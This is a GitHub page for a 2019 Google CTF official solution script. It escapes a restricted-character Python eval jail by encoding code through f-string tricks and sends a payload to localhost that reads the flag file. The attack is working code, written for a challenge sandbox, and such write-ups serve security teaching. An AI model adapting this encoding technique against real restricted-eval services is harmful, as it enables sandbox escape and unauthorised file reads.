-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathofficial_writeup_exploit.py
102 lines (81 loc) · 2.76 KB
/
official_writeup_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
import socket
import telnetlib
def encode_bool(value, setup=False):
if setup:
return {False: "([]<[])", True: "([]==[])"}[value]
else:
return {False: "_f", True: "__"}[value]
def encode_int(value, setup=False):
ten = encode_int(10) if setup else 'ff'
if value == 0:
return '~~' + encode_bool(False)
elif value <= 10:
return '-~' * value + encode_bool(False)
else:
return '(' + encode_int(value // 10) + '*' + ten + '+' + encode_int(value % 10) + ')'
def to_string(value):
return """f'{""" + str(value) + """}'"""
def encode_x(setup=False):
if setup:
return """f('"\\\\'+f'{[]==[]}'[""" + encode_int(2) + """]+""" + '+'.join(to_string(encode_int(x)) for x in [0, 0, 7, 8]) + '''+'"')'''
else:
return 'f_'
def encode_char(value):
if value in ' !"#$%&\'()*+,-./:;<=>?@f[\\]^_`{|}~\n\r':
return repr(value)
if value == 'x':
return encode_x()
return """f("'"+f('"\\\\\\\\'+f'{[]==[]}'[""" + encode_int(2) + """]+""" + '+'.join(to_string(encode_int(x)) for x in [0, 0]) + "+'%'+" + encode_x() + '''+'"%''' + encode_int(ord(value)) + '''')+"'")'''
def encode_str(value):
return 'f(' + '+"+"+'.join(json.dumps(encode_char(c)) for c in value) + ')'
def encode_eval(value):
return 'f(' + encode_str(value) + ')'
setup_true = '__=' + encode_bool(True, True) + '\n'
setup_false = '_f=' + encode_bool(False, True) + '\n'
setup_ten = 'ff=('+encode_int(10, True)+')\n'
setup_x = 'f_=('+encode_x(True)+')\n'
payload = encode_eval('open("flag","rb").read()') + '\n'
chain = [
setup_true,
setup_false,
setup_ten,
setup_x,
payload
]
# "Sanity" check
# f = eval
# for stage in chain:
# exec(stage)
# assert 4 == eval(encode_eval('2 + 2'))
# assert b'CTF{' in eval(payload)
assert len(''.join(chain)) <= 2048
assert all(c in ' !"#$%&\'()*+,-./:;<=>?@f[\\]^_`{|}~\n\r' for c in ''.join(chain))
s = socket.create_connection(('localhost', 1337))
s.recv(4096)
for stage in chain:
s.sendall(stage.encode())
def recv_until(s, x):
while True:
b = ''
d = s.recv(4096).decode()
b += d
if d == '' or x in b:
return b
print(recv_until(s, 'CTF{'))
# t = telnetlib.Telnet()
# t.sock = s
# t.interact()